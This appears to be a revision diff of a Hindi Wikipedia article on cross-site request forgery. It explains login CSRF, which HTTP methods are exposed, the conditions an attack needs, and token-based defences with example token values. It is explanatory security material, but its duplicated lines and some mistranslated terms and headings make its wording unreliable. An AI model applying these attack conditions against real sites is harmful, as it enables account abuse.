{{quotation|In particular, the convention has been established that the GET and HEAD methods SHOULD NOT have the significance of taking an action other than retrieval. These methods ought to be considered "safe". This allows user agents to represent other methods, such as POST, PUT and DELETE, in a special way, so that the user is made aware of the fact that a possibly unsafe action is being requested.}}
{{quotation|विशेष रूप से, यह परंपरा स्थापित की गई है कि जीईटी और एचईएडी विधियों में पुनर्प्राप्ति के अतिरिक्त कोई अन्य कार्रवाई करने का महत्व नहीं होना चाहिए। इन विधियों को "सेफ" माना जाना चाहिए। यह उपयोगकर्ता एजेंटों को अन्य विधियों, जैसे पोस्ट, पुट और डिलीट को एक विशेष विधियों से प्रस्तुत करने की अनुमति देता है, जिससे उपयोगकर्ता को इस तथ्य से अवगत कराया जा सके कि संभवतः असुरक्षित कार्रवाई का अनुरोध किया जा रहा है।}}


इस धारणा के कारण, [[ वेब ढाँचा |वेब ढाँचा]] में कई मौजूदा सीएसआरएफ रोकथाम तंत्र जीईटी अनुरोधों को कवर नहीं करेंगे, बल्कि केवल उन HTTP तरीकों पर सुरक्षा लागू करेंगे जिनका उद्देश्य राज्य-परिवर्तन करना है।<ref>
इस धारणा के कारण, [[ वेब ढाँचा |वेब फ्रेमवर्क]] में अनेक उपस्तिथ सीएसआरएफ रोकथाम मेकैनिज़्म्स जीईटी रिक्वेस्ट को कवर नहीं करती है, किन्तु केवल उन एचटीटीपी विधियों पर सुरक्षा प्रयुक्त करेंगे जिनका उद्देश्य स्थान-परिवर्तन करना है।<ref>
{{Cite web
{{Cite web
|title = Cross Site Request Forgery protection {{!}} Django documentation {{!}} Django
|title = Cross Site Request Forgery protection {{!}} Django documentation {{!}} Django
Line 52: Line 51:
}}
}}
</ref>
</ref>
==लॉगिन अनुरोध फोर्जिंग==
==लॉगिन रिक्वेस्ट फोर्जिंग==
एक हमलावर, हमलावर के क्रेडेंशियल्स का उपयोग करके पीड़ित को लक्षित वेबसाइट में लॉग इन करने का अनुरोध कर सकता है; इसे लॉगिन सीएसआरएफ के रूप में जाना जाता है। लॉगिन सीएसआरएफ विभिन्न नवीन हमलों को संभव बनाता है; उदाहरण के लिए, कोई हमलावर बाद में अपनी वैध साख के साथ साइट पर लॉग इन कर सकता है और खाते में सहेजी गई गतिविधि इतिहास जैसी निजी जानकारी देख सकता है। यह हमला [[Google]] के विरुद्ध प्रदर्शित किया गया है<ref>Adam Barth, Collin Jackson, and John C. Mitchell, [http://www.adambarth.com/papers/2008/barth-jackson-mitchell-b.pdf Robust Defenses for Cross-Site Request Forgery], ''Proceedings of the 15th ACM Conference on Computer and Communications Security,'' ACM 2008</ref> और [[याहू]].<ref name=":0">Joseph Foulds, [http://www.jfoulds.com/blog/passive-monitoring-login-request-forgery/ Passive monitoring login request forgery, Yahoo] {{webarchive|url=https://web.archive.org/web/20141222202044/http://jfoulds.com/blog/passive-monitoring-login-request-forgery/ |date=2014-12-22 }}</ref>
एक अटैक्स, अटैक्स के क्रेडेंशियल्स का उपयोग करके विक्टिम को टारगेट वेबसाइट में लॉग इन करने का रिक्वेस्ट कर सकता है; इसे लॉगिन सीएसआरएफ के रूप में जाना जाता है। और लॉगिन सीएसआरएफ विभिन्न नवीन अटैक्स को संभव बनाता है; उदाहरण के लिए, कोई अटैक्स पश्चात अपनी वैलिड साख के साथ साइट पर लॉग इन कर सकता है और अकाउंट में सेव्ड की गई गतिविधि इतिहास जैसी निजी डेटा देख सकता है। यह अटैक [[Google|गूगल]] और [[याहू]] के विरुद्ध प्रदर्शित किया गया है<ref>Adam Barth, Collin Jackson, and John C. Mitchell, [http://www.adambarth.com/papers/2008/barth-jackson-mitchell-b.pdf Robust Defenses for Cross-Site Request Forgery], ''Proceedings of the 15th ACM Conference on Computer and Communications Security,'' ACM 2008</ref><ref name=":0">Joseph Foulds, [http://www.jfoulds.com/blog/passive-monitoring-login-request-forgery/ Passive monitoring login request forgery, Yahoo] {{webarchive|url=https://web.archive.org/web/20141222202044/http://jfoulds.com/blog/passive-monitoring-login-request-forgery/ |date=2014-12-22 }}</ref>
==HTTP क्रियाएं और सीएसआरएफ==
==एचटीटीपी क्रियाएं और सीएसआरएफ==
प्रकार के आधार पर, [[ हाइपरटेक्स्ट परहस्त शिष्टाचार |हाइपरटेक्स्ट परहस्त शिष्टाचार]] हाइपरटेक्स्ट ट्रांसफर प्रोटोकॉल#अनुरोध विधियां सीएसआरएफ हमलों के प्रति उनकी संवेदनशीलता में भिन्न होती हैं (वेब ​​ब्राउज़र द्वारा उनके प्रबंधन में अंतर के कारण)। इसलिए, किसी हमले के खिलाफ सुरक्षात्मक उपाय HTTP अनुरोध की विधि पर निर्भर करते हैं।
प्रकार के आधार पर, [[ हाइपरटेक्स्ट परहस्त शिष्टाचार |एचटीटीपी]] [[ हाइपरटेक्स्ट परहस्त शिष्टाचार |रिक्वेस्ट मेथेड]] रिक्वेस्ट सीएसआरएफ अटैक्स के प्रति उनकी संवेदनशीलता में भिन्न होती हैं (वेब ​​ब्राउज़र द्वारा उनके प्रबंधन में अंतर के कारण)। इसलिए, किसी अटैक के अधीन सुरक्षात्मक उपाय एचटीटीपी रिक्वेस्ट की विधि पर निर्भर करते हैं।


* [[HTTP GET]] में सीएसआरएफ शोषण ऊपर वर्णित विधियों का उपयोग करके तुच्छ है, जैसे कि सरल [[हाइपरलिंक]] जिसमें हेरफेर किए गए पैरामीटर होते हैं और स्वचालित रूप से HTML तत्व # छवियाँ और ऑब्जेक्ट द्वारा लोड किया जाता है। हालाँकि, HTTP विनिर्देशन के अनुसार, GET को हाइपरटेक्स्ट ट्रांसफर प्रोटोकॉल#सुरक्षित तरीकों के रूप में उपयोग किया जाना चाहिए, अर्थात, एप्लिकेशन में उपयोगकर्ता की स्थिति को महत्वपूर्ण रूप से नहीं बदलना चाहिए। ऐसे परिचालनों के लिए GET का उपयोग करने वाले अनुप्रयोगों को [[HTTP POST]] पर स्विच करना चाहिए या एंटी-CSRF सुरक्षा का उपयोग करना चाहिए।
* [[HTTP GET|एचटीटीपी जीईटी]] में सीएसआरएफ दमन ऊपर वर्णित विधियों का उपयोग करके तुच्छ है, जैसे कि सरल [[हाइपरलिंक]] जिसमें परिवर्तन किए गए पैरामीटर होते हैं और स्वचालित रूप से एचटीएमएल तत्व या इमेज और ऑब्जेक्ट द्वारा लोड किया जाता है। चूंकि, एचटीटीपी विनिर्देशन के अनुसार, जीईटी को हाइपरटेक्स्ट ट्रांसफर प्रोटोकॉल या सुरक्षित विधियों के रूप में उपयोग किया जाना चाहिए, अर्थात, एप्लिकेशन में उपयोगकर्ता की स्थिति को महत्वपूर्ण रूप से नहीं परिवर्तन करना चाहिए। ऐसे परिचालनों के लिए जीईटी का उपयोग करने वाले एप्लिकेशनों को [[HTTP POST|एचटीटीपी पोस्ट]] पर स्विच करना चाहिए या एंटी-सीएसआरएफ सुरक्षा का उपयोग करना चाहिए।
* CSRF के लिए HTTP POST भेद्यता उपयोग परिदृश्य पर निर्भर करती है:
* सीएसआरएफ के लिए एचटीटीपी पोस्ट वल्नेरेबिलिटी उपयोग परिदृश्य पर निर्भर करती है:
**[[क्वेरी स्ट्रिंग]] के रूप में एन्कोड किए गए डेटा के साथ POST के सरलतम रूप में (<code>field1=value1&amp;field2=value2</code>) सीएसआरएफ हमले को सरल [[फॉर्म (एचटीएमएल)]] का उपयोग करके आसानी से लागू किया जाता है और सीएसआरएफ विरोधी उपायों को लागू किया जाना चाहिए।
**[[क्वेरी स्ट्रिंग]] के रूप में एन्कोड किए गए डेटा के साथ पोस्ट के सरलतम रूप में (<code>field1=value1&amp;field2=value2</code>) सीएसआरएफ अटैक को सरल [[फॉर्म (एचटीएमएल)]] का उपयोग करके सरलता से प्रयुक्त किया जाता है और सीएसआरएफ विरोधी उपायों को प्रयुक्त किया जाना चाहिए।
**यदि डेटा किसी अन्य प्रारूप ([[JSON]], [[XML]]) में भेजा जाता है, तो समान-मूल नीति (SOP) और क्रॉस-मूल संसाधन साझाकरण (CORS) द्वारा रोके गए CSRF हमलों के साथ [[XMLHttpRequest]] का उपयोग करके POST अनुरोध जारी करना मानक तरीका है; सरल फॉर्म (HTML) का उपयोग करके मनमानी सामग्री भेजने की तकनीक है <code>ENCTYPE</code> गुण; ऐसे नकली अनुरोध को वैध अनुरोधों से अलग किया जा सकता है <code>text/plain</code> सामग्री प्रकार, लेकिन यदि इसे सर्वर पर लागू नहीं किया जाता है, तो सीएसआरएफ निष्पादित किया जा सकता है<ref>{{cite web | url=http://pentestmonkey.net/blog/csrf-xml-post-request | title=XML निकाय के साथ पोस्ट अनुरोधों के लिए क्रॉस-साइट अनुरोध जालसाजी| publisher=pentestmonkey | access-date=September 4, 2015}}</ref><ref>{{cite web | url=http://conference.hitb.org/hitbsecconf2007dubai/materials/D2%20-%20Shreeraj%20Shah%20-%20Web%202-0%20Hacking%20-%20Defending%20Ajax%20and%20Web%20Services.pdf.pdf | title=Web 2.0 Hacking Defending Ajax & Web Services | publisher=HITB | date=2008 | access-date=September 4, 2015 | author=Sheeraj Shah}}</ref>
**यदि डेटा किसी अन्य प्रारूप ([[JSON|जेएसओएन]], [[XML|एक्सएमएल]]) में भेजा जाता है, तो समान-मूल नीति (एसओपी) और क्रॉस-मूल रिसोर्स शेयरिंग (सीओआरएस) द्वारा रोके गए सीएसआरएफ अटैक्स के साथ [[XMLHttpRequest|XMLHttpRequests]] का उपयोग करके पोस्ट रिक्वेस्ट रेलीज़ड करना मानक विधि है; सरल फॉर्म (एचटीएमएल) का उपयोग करके इच्छानुसार कॉन्टेंट भेजने की तकनीक है: <code>ENCTYPE</code> गुण; ऐसे नकली रिक्वेस्ट को वैलिड रिक्वेस्ट से अलग किया जा सकता है <code>text/plain</code> कॉन्टेंट प्रकार, किन्तु यदि इसे सर्वर पर प्रयुक्त नहीं किया जाता है, तो सीएसआरएफ निष्पादित किया जा सकता है<ref>{{cite web | url=http://pentestmonkey.net/blog/csrf-xml-post-request | title=XML निकाय के साथ पोस्ट अनुरोधों के लिए क्रॉस-साइट अनुरोध जालसाजी| publisher=pentestmonkey | access-date=September 4, 2015}}</ref><ref>{{cite web | url=http://conference.hitb.org/hitbsecconf2007dubai/materials/D2%20-%20Shreeraj%20Shah%20-%20Web%202-0%20Hacking%20-%20Defending%20Ajax%20and%20Web%20Services.pdf.pdf | title=Web 2.0 Hacking Defending Ajax & Web Services | publisher=HITB | date=2008 | access-date=September 4, 2015 | author=Sheeraj Shah}}</ref>
*अन्य HTTP विधियां (PUT, DELETE आदि) केवल CSRF को रोकने वाली समान-मूल नीति (SOP) और क्रॉस-मूल संसाधन साझाकरण (CORS) के साथ XMLHttpRequest का उपयोग करके जारी की जा सकती हैं; हालाँकि ये उपाय उन वेबसाइटों पर सक्रिय नहीं होंगे जो स्पष्ट रूप से इनका उपयोग अक्षम करते हैं <code>Access-Control-Allow-Origin: *</code> हैडर
*अन्य एचटीटीपी विधियां (पुट, डिलीट आदि) केवल सीएसआरएफ को रोकने वाली समान-मूल नीति (एसओपी) और क्रॉस-साइट रिसोर्स शेयरिंग (सीओआरएस ) के साथ XMLHttpRequests का उपयोग करके रेलीज़ड की जा सकती हैं; चूंकि ये उपाय उन वेबसाइटों पर सक्रिय नहीं होंगे जो स्पष्ट रूप से इनका उपयोग अक्षम करते हैं <code>Access-Control-Allow-Origin: *</code> हैडर


==सीएसआरएफ के लिए अन्य दृष्टिकोण==
==सीएक्सएमएलएसआरएफ के लिए अन्य दृष्टिकोण==
इसके अतिरिक्त, जबकि आम तौर पर स्थिर प्रकार के हमले के रूप में वर्णित किया जाता है, सीएसआरएफ को क्रॉस-साइट स्क्रिप्टिंग हमले के लिए पेलोड के हिस्से के रूप में गतिशील रूप से भी बनाया जा सकता है, जैसा कि [[सैमी (एक्सएसएस)]] वर्म द्वारा प्रदर्शित किया गया है, या लीक हुई सत्र जानकारी से फ्लाई पर बनाया गया है। ऑफसाइट सामग्री के माध्यम से और दुर्भावनापूर्ण यूआरएल के रूप में लक्ष्य को भेजा गया। [[सत्र निर्धारण]] या अन्य कमजोरियों के कारण किसी हमलावर द्वारा सीएसआरएफ टोकन भी क्लाइंट को भेजे जा सकते हैं, या क्रूर-बल हमले के माध्यम से अनुमान लगाया जा सकता है, जो दुर्भावनापूर्ण पृष्ठ पर प्रस्तुत किया जाता है जो हजारों असफल अनुरोध उत्पन्न करता है। डायनामिक सीएसआरएफ के आक्रमण वर्ग, या सत्र-विशिष्ट जालसाजी के लिए प्रति-ग्राहक पेलोड का उपयोग करने का वर्णन किया गया था<ref>{{cite web|url=http://voices.washingtonpost.com/securityfix/2009/07/weaponizing_web_20.html
इसके अतिरिक्त, जबकि सामान्यतः स्थिर प्रकार के अटैक के रूप में वर्णित किया जाता है, सीएसआरएफ को क्रॉस-साइट स्क्रिप्टिंग अटैक के लिए पेलोड के भाग के रूप में गतिशील रूप से भी बनाया जा सकता है, जैसा कि [[सैमी (एक्सएसएस)]] वर्म द्वारा प्रदर्शित किया गया है, या लीक हुई सेशन डेटा से फ्लाई पर बनाया गया है। ऑफसाइट कॉन्टेंट के माध्यम से और मालिसियस यूआरएल के रूप में टारगेट को भेजा जाता है। [[सत्र निर्धारण|सेशन फिक्सेशन]] या अन्य दुर्बलता के कारण किसी अटैक्स द्वारा सीएसआरएफ टोकन भी क्लाइंट को भेजे जा सकते हैं, या ब्रूट-फोर्स अटैक के माध्यम से अनुमान लगाया जा सकता है, जो मालिसियस पेज पर प्रस्तुत किया जाता है जो हजारों असफल रिक्वेस्ट उत्पन्न करता है। डायनामिक सीएसआरएफ के अटैक्स वर्ग, या सेशन-विशिष्ट जालसाजी के लिए प्रति-ग्राहक पेलोड का उपयोग करने का वर्णन किया गया था<ref>{{cite web|url=http://voices.washingtonpost.com/securityfix/2009/07/weaponizing_web_20.html
|title=Security Fix - Weaponizing Web 2.0}}</ref> 2009 में ब्लैकहैट ब्रीफिंग में नाथन हैमील और शॉन मोयर द्वारा,<ref>[http://www.neohaxor.org/2009/08/11/dynamic-cross-site-request-forgery/ Dynamic CSRF] {{webarchive|url=https://web.archive.org/web/20100213160456/http://www.neohaxor.org/2009/08/11/dynamic-cross-site-request-forgery/ |date=2010-02-13 }}</ref> हालाँकि वर्गीकरण को अभी भी व्यापक रूप से अपनाया जाना बाकी है।
|title=Security Fix - Weaponizing Web 2.0}}</ref> अतः 2009 में ब्लैकहैट ब्रीफिंग में नाथन हैमील और शॉन मोयर द्वारा किया जाता है,<ref>[http://www.neohaxor.org/2009/08/11/dynamic-cross-site-request-forgery/ Dynamic CSRF] {{webarchive|url=https://web.archive.org/web/20100213160456/http://www.neohaxor.org/2009/08/11/dynamic-cross-site-request-forgery/ |date=2010-02-13 }}</ref> चूंकि वर्गीकरण को अभी भी व्यापक रूप से अपनाया जाना बाकी है।


जनवरी 2012 में स्थानीय OWASP अध्याय की बैठक में ओरेन ओफ़र द्वारा गतिशील CSRF हमलों की रचना के लिए नया वेक्टर प्रस्तुत किया गया था - AJAX हैमर - डायनेमिक CSRF।<ref>Owasp.org: [https://www.owasp.org/index.php/OWASP_Israel_2012_01#18:15_-_19:00.C2.A0:_AJAX.E2.80.99_Hammer_-_Harnessing_AJAX_for_CSRF_Attacks Israel 2012/01: AJAX Hammer – Harnessing AJAX for CSRF Attacks]</ref><ref>[https://code.google.com/p/hasc-research/downloads/list Downloads – hasc-research – hasc-research – Google Project Hosting]. Code.google.com (2013-06-17). Retrieved on 2014-04-12.</ref>
गतिशील सीएसआरएफ अटैक की रचना के लिए एक नया वेक्टर ओरेन ओफ़र द्वारा जनवरी 2012- "एजेएक्स हैमर - डायनेमिक सीएसआरएफ" में एक स्थानीय ओडब्ल्यूएएसपी चैप्टर की मीटिंग में प्रस्तुत किया गया था <ref>Owasp.org: [https://www.owasp.org/index.php/OWASP_Israel_2012_01#18:15_-_19:00.C2.A0:_AJAX.E2.80.99_Hammer_-_Harnessing_AJAX_for_CSRF_Attacks Israel 2012/01: AJAX Hammer – Harnessing AJAX for CSRF Attacks]</ref><ref>[https://code.google.com/p/hasc-research/downloads/list Downloads – hasc-research – hasc-research – Google Project Hosting]. Code.google.com (2013-06-17). Retrieved on 2014-04-12.</ref>
==प्रभाव==
==प्रभाव==
सीएसआरएफ टोकन कमजोरियों के लिए गंभीरता मेट्रिक्स जारी किए गए हैं जिसके परिणामस्वरूप रूट विशेषाधिकारों के साथ [[रिमोट कोड निष्पादन]] होता है<ref>{{cite web|url=http://www.kb.cert.org/vuls/id/584089|title=Vulnerability Note VU#584089 - cPanel XSRF vulnerabilities}}</ref> साथ ही भेद्यता जो रूट प्रमाणपत्र से समझौता कर सकती है, जो सार्वजनिक कुंजी बुनियादी ढांचे को पूरी तरह से कमजोर कर देगी।<ref>{{cite web|url=http://www.kb.cert.org/vuls/id/264385|title=Vulnerability Note VU#264385 - OpenCA allows Cross site request forgery (XSRF)}}</ref>
सीएसआरएफ टोकन दुर्बलता के लिए सेवेरीटी आव्यूह रेलीज़ड किए गए हैं जिसके परिणामस्वरूप रूट विशेषाधिकारों के साथ [[रिमोट कोड निष्पादन|रिमोट कोड एक्सेक्यूटिव]] होता है<ref>{{cite web|url=http://www.kb.cert.org/vuls/id/584089|title=Vulnerability Note VU#584089 - cPanel XSRF vulnerabilities}}</ref> साथ ही वल्नेरेबिलिटी जो रूट सर्टिफिकेट से समझौता कर सकती है, जो पब्लिक कीय को मूलभूत रूप से उंडेरमिने कर देती है।<ref>{{cite web|url=http://www.kb.cert.org/vuls/id/264385|title=Vulnerability Note VU#264385 - OpenCA allows Cross site request forgery (XSRF)}}</ref>
==सीमाएँ==
==सीमाएँ==
क्रॉस-साइट अनुरोध जालसाजी के सफल होने के लिए कई चीजें होनी चाहिए:
इस प्रकार से क्रॉस-साइट रिक्वेस्ट जालसाजी के सफल होने के लिए अनेक चीजें होनी चाहिए:


# हमलावर को या तो ऐसी साइट को निशाना बनाना चाहिए जो HTTP रेफरर की जांच नहीं करती है या किसी ऐसे ब्राउज़र या प्लगइन वाले पीड़ित को निशाना बनाना चाहिए जो [[ रेफरर स्पूफ़िंग |रेफरर स्पूफ़िंग]] की अनुमति देता है।<ref>{{cite web |title=उन्नत क्रॉस-साइट हमले की रोकथाम|url=https://worldwide.espacenet.com/publicationDetails/biblio?DB=EPODOC&II=0&ND=3&adjacent=true&locale=en_EP&FT=D&date=20081029&CC=EP&NR=1986395A1&KC=A1# |website=Espacenet |publisher=European Patent Office |access-date=21 November 2019 |ref=EP1986395A1}}</ref>
# अटैक्स को या तो ऐसी साइट को टारगेट बनाना चाहिए जो एचटीटीपी रेफरर की चेक नहीं करती है या किसी ऐसे ब्राउज़र या प्लगइन वाले विक्टिम को टारगेट बनाना चाहिए जो [[ रेफरर स्पूफ़िंग |रेफरर स्पूफ़िंग]] की अनुमति देता है।<ref>{{cite web |title=उन्नत क्रॉस-साइट हमले की रोकथाम|url=https://worldwide.espacenet.com/publicationDetails/biblio?DB=EPODOC&II=0&ND=3&adjacent=true&locale=en_EP&FT=D&date=20081029&CC=EP&NR=1986395A1&KC=A1# |website=Espacenet |publisher=European Patent Office |access-date=21 November 2019 |ref=EP1986395A1}}</ref>
# हमलावर को लक्ष्य साइट पर फ़ॉर्म सबमिशन, या यूआरएल ढूंढना होगा जिसके दुष्प्रभाव हों, जो कुछ करता हो (उदाहरण के लिए, पैसे ट्रांसफर करता है, या पीड़ित का ई-मेल पता या पासवर्ड बदलता है)।
# अटैक्स को टारगेट साइट पर फ़ॉर्म सबमिशन, या यूआरएल सर्च करना होता है। जिसके दुष्प्रभाव हों, जो कुछ करता हो (उदाहरण के लिए, पैसे ट्रांसफर करता है, या विक्टिम का ई-मेल एड्रेस या पासवर्ड परिवर्तन है)।
# हमलावर को सभी फॉर्म या यूआरएल इनपुट के लिए सही मान निर्धारित करना होगा; यदि उनमें से किसी को भी गुप्त प्रमाणीकरण मान या आईडी की आवश्यकता होती है जिसका हमलावर अनुमान नहीं लगा सकता है, तो हमला संभवतः विफल हो जाएगा (जब तक कि हमलावर अपने अनुमान में बेहद भाग्यशाली न हो)।
# अटैक्स को सभी फॉर्म या यूआरएल इनपुट के लिए सही मान निर्धारित करना होगा; यदि उनमें से किसी को भी गुप्त ओथेन्टिकेटेड मान या आईडी की आवश्यकता होती है जिसका अटैक्स अनुमान नहीं लगा सकता है, तो अटैक संभवतः विफल हो जाएगा (जब तक कि अटैक्स अपने अनुमान में अत्यंत लकी न हो)।
# जब पीड़ित लक्ष्य साइट पर लॉग इन हो तो हमलावर को पीड़ित को दुर्भावनापूर्ण कोड वाले वेब पेज पर लुभाना चाहिए।
# जब विक्टिम टारगेट साइट पर लॉग इन हो तो अटैक्स को विक्टिम को मालिसियस कोड वाले वेब पेज पर लुभाना चाहिए।


हमला अंधा है: हमलावर यह नहीं देख सकता कि जाली अनुरोधों के जवाब में लक्ष्य वेबसाइट पीड़ित को क्या भेजती है, जब तक कि वे लक्ष्य वेबसाइट पर क्रॉस-साइट स्क्रिप्टिंग या अन्य बग का फायदा नहीं उठाते। इसी तरह, हमलावर केवल किसी भी लिंक को लक्षित कर सकता है या प्रारंभिक जाली अनुरोध के बाद आने वाले किसी भी फॉर्म को सबमिट कर सकता है यदि वे बाद के लिंक या फॉर्म समान रूप से पूर्वानुमानित हों। (एक पृष्ठ पर कई छवियों को शामिल करके, या क्लिकों के बीच देरी शुरू करने के लिए जावास्क्रिप्ट का उपयोग करके कई लक्ष्यों का अनुकरण किया जा सकता है।)<ref>{{Cite web |title=CSRF: Cross-site request forgery attacks explained |url=https://www.ionos.com/digitalguide/server/security/cross-site-request-forgery-csrf/ |access-date=2022-04-26 |website=IONOS Digitalguide |language=en}}</ref>
इस प्रकार से अटैक ब्लाइंड है: अटैक्स यह नहीं देख सकता कि जाली रिक्वेस्ट के जवाब में टारगेट वेबसाइट विक्टिम को क्या भेजती है, जब तक कि वे टारगेट वेबसाइट पर क्रॉस-साइट स्क्रिप्टिंग या अन्य बग का लाभ नहीं उठाते है। इसी तरह, अटैक्स केवल किसी भी लिंक को टारगेट कर सकता है या प्रारंभिक जाली रिक्वेस्ट के पश्चात आने वाले किसी भी फॉर्म को सबमिट कर सकता है यदि वे बाद के लिंक या फॉर्म समान रूप से पूर्वानुमानित होते है। (एक पेज पर अनेक इमेजेस को सम्मिलित करके, या क्लिकों के मध्य देरी प्रारंभ करने के लिए जावास्क्रिप्ट का उपयोग करके अनेक टारगेट का अनुकरण किया जा सकता है।)<ref>{{Cite web |title=CSRF: Cross-site request forgery attacks explained |url=https://www.ionos.com/digitalguide/server/security/cross-site-request-forgery-csrf/ |access-date=2022-04-26 |website=IONOS Digitalguide |language=en}}</ref>
==रोकथाम==
==रोकथाम==


अधिकांश सीएसआरएफ रोकथाम तकनीकें अनुरोधों में अतिरिक्त प्रमाणीकरण डेटा एम्बेड करके काम करती हैं जो वेब एप्लिकेशन को अनधिकृत स्थानों से अनुरोधों का पता लगाने की अनुमति देती है।
अधिकांश सीएसआरएफ रोकथाम तकनीकें रिक्वेस्ट में अतिरिक्त ओथेन्टिकेटेड डेटा एम्बेड करके कार्य करती हैं। जो वेब एप्लिकेशन को अनधिकृत स्थानों से रिक्वेस्ट का पता लगाने की अनुमति देती है।


===[[सिंक्रोनाइज़र टोकन पैटर्न]]===
===[[सिंक्रोनाइज़र टोकन पैटर्न]]===


सिंक्रोनाइज़र टोकन पैटर्न (एसटीपी) ऐसी तकनीक है जहां टोकन, प्रत्येक अनुरोध के लिए गुप्त और अद्वितीय मान, सभी HTML रूपों में वेब एप्लिकेशन द्वारा एम्बेड किया जाता है और सर्वर साइड पर सत्यापित किया जाता है। टोकन किसी भी विधि से उत्पन्न किया जा सकता है जो अप्रत्याशितता और विशिष्टता सुनिश्चित करता है (उदाहरण के लिए यादृच्छिक बीज की हैश श्रृंखला का उपयोग करना)इस प्रकार हमलावर अपने अनुरोधों को प्रमाणित करने के लिए उनमें सही टोकन डालने में असमर्थ है।<ref name=Shiflett /><ref name="owasp">{{cite web | url=https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html | title=क्रॉस-साइट अनुरोध जालसाजी (सीएसआरएफ) रोकथाम धोखा शीट| publisher=OWASP | access-date=2019-07-19}}</ref><ref name=Valhalla>{{cite web|url=http://halls-of-valhalla.org/beta/articles/cross-site-request-forgery-demystified,47/|title=Valhalla Articles - Cross-Site Request Forgery: Demystified}}</ref>
सिंक्रोनाइज़र टोकन पैटर्न (एसटीपी) ऐसी तकनीक है। जहां टोकन, प्रत्येक रिक्वेस्ट के लिए गुप्त और अद्वितीय मान, सभी एचटीएमएल रूपों में वेब एप्लिकेशन द्वारा एम्बेड किया जाता है और सर्वर साइड पर सत्यापित किया जाता है। टोकन किसी भी विधि से उत्पन्न किया जा सकता है जो अप्रत्याशितता और विशिष्टता सुनिश्चित करता (उदाहरण के लिए यादृच्छिक बीज की हैश श्रृंखला का उपयोग करना)है। इस प्रकार अटैक्स अपने रिक्वेस्ट को प्रमाणित करने के लिए उनमें सही टोकन डालने में असमर्थ है।<ref name=Shiflett /><ref name="owasp">{{cite web | url=https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html | title=क्रॉस-साइट अनुरोध जालसाजी (सीएसआरएफ) रोकथाम धोखा शीट| publisher=OWASP | access-date=2019-07-19}}</ref><ref name=Valhalla>{{cite web|url=http://halls-of-valhalla.org/beta/articles/cross-site-request-forgery-demystified,47/|title=Valhalla Articles - Cross-Site Request Forgery: Demystified}}</ref>


HTML फॉर्म में [[Django (वेब ​​फ्रेमवर्क)]] द्वारा निर्धारित STP का उदाहरण:
एचटीएमएल फॉर्म में [[Django (वेब ​​फ्रेमवर्क)|जैंगो (वेब ​​फ्रेमवर्क)]] द्वारा निर्धारित एसटीपी का उदाहरण:


<syntaxhighlight lang="xml"><input type="hidden" name="csrfmiddlewaretoken" value="KbyUmhTLMpYj7CD2di7JKP1P3qmLlkPt" /></syntaxhighlight>
<syntaxhighlight lang="xml"><input type="hidden" name="csrfmiddlewaretoken" value="KbyUmhTLMpYj7CD2di7JKP1P3qmLlkPt" /></syntaxhighlight>
एसटीपी सबसे अधिक संगत है क्योंकि यह केवल HTML पर निर्भर करता है, लेकिन प्रत्येक अनुरोध पर टोकन की वैधता की जांच से जुड़े बोझ के कारण सर्वर साइड पर कुछ जटिलताएं पेश करता है। चूंकि टोकन अद्वितीय और अप्रत्याशित है, यह घटनाओं के उचित अनुक्रम को भी लागू करता है (उदाहरण के लिए स्क्रीन 1, फिर 2, फिर 3) जो प्रयोज्य समस्या को जन्म देता है (उदाहरण के लिए उपयोगकर्ता कई टैब खोलता है)। प्रति अनुरोध सीएसआरएफ टोकन के बजाय प्रति सत्र सीएसआरएफ टोकन का उपयोग करके इसमें छूट दी जा सकती है।
एसटीपी सबसे अधिक संगत है क्योंकि यह केवल एचटीएमएल पर निर्भर करता है, किन्तु प्रत्येक रिक्वेस्ट पर टोकन की वैधता की चेक से जुड़े बोझ के कारण सर्वर साइड पर कुछ कॉम्प्लेक्सिटी प्रस्तुत करता है। चूंकि टोकन अद्वितीय और अप्रत्याशित है, यह घटनाओं के उचित अनुक्रम को भी प्रयुक्त करता है (उदाहरण के लिए स्क्रीन 1, फिर 2, फिर 3) जो प्रयोज्य समस्या को उत्पन्न करते है (उदाहरण के लिए उपयोगकर्ता अनेक टैब खोलता है)। प्रति रिक्वेस्ट सीएसआरएफ टोकन के अतिरिक्त प्रति सेशन सीएसआरएफ टोकन का उपयोग करके इसमें छूट दी जा सकती है।


===कुकी-टू-हेडर टोकन===
===कुकी-टू-हेडर टोकन===
Line 96: Line 95:
वेब एप्लिकेशन जो अपने अधिकांश कार्यों के लिए जावास्क्रिप्ट का उपयोग करते हैं, वे निम्नलिखित एंटी-सीएसआरएफ तकनीक का उपयोग कर सकते हैं:
वेब एप्लिकेशन जो अपने अधिकांश कार्यों के लिए जावास्क्रिप्ट का उपयोग करते हैं, वे निम्नलिखित एंटी-सीएसआरएफ तकनीक का उपयोग कर सकते हैं:


* किसी संबद्ध सर्वर सत्र के बिना प्रारंभिक विज़िट पर, वेब एप्लिकेशन कुकी सेट करता है। कुकी में आम तौर पर यादृच्छिक टोकन होता है जो वेब सत्र के जीवनकाल तक समान रह सकता है
* किसी संबद्ध सर्वर सेशन के बिना प्रारंभिक विज़िट पर, वेब एप्लिकेशन कुकी सेट करता है। कुकी में सामान्यतः यादृच्छिक टोकन होता है जो वेब सेशन के जीवनकाल तक समान रह सकता है
 
<syntaxhighlight>
सेट-कुकी: __Host-csrf_token=i8XNjC4b8KVok4uw5RftR38Wgp2BFwql; समाप्ति=गुरु, 23-जुलाई-2015 10:25:33 जीएमटी; अधिकतम आयु=31449600; पथ=/; सेमसाइट=लैक्स; सुरक्षित
Set-Cookie: __Host-csrf_token=i8XNjC4b8KVok4uw5RftR38Wgp2BFwql; Expires=Thu, 23-Jul-2015 10:25:33 GMT; Max-Age=31449600; Path=/; SameSite=Lax; Secure
</syntaxhighlight>
* क्लाइंट साइड पर कार्य करने वाला जावास्क्रिप्ट इसके मान को पढ़ता है और इसे प्रत्येक लेनदेन रिक्वेस्ट के साथ भेजे गए कस्टम [[HTTP हेडर|एचटीटीपी हेडर]] में कॉपी करता है
<syntaxhighlight>
X-Csrf-Token: i8XNjC4b8KVok4uw5RftR38Wgp2BFwql
</syntaxhighlight>
* सर्वर टोकन की उपस्थिति और संपूर्णता को मान्य करता है


* क्लाइंट साइड पर काम करने वाला जावास्क्रिप्ट इसके मूल्य को पढ़ता है और इसे प्रत्येक लेनदेन अनुरोध के साथ भेजे गए कस्टम [[HTTP हेडर]] में कॉपी करता है
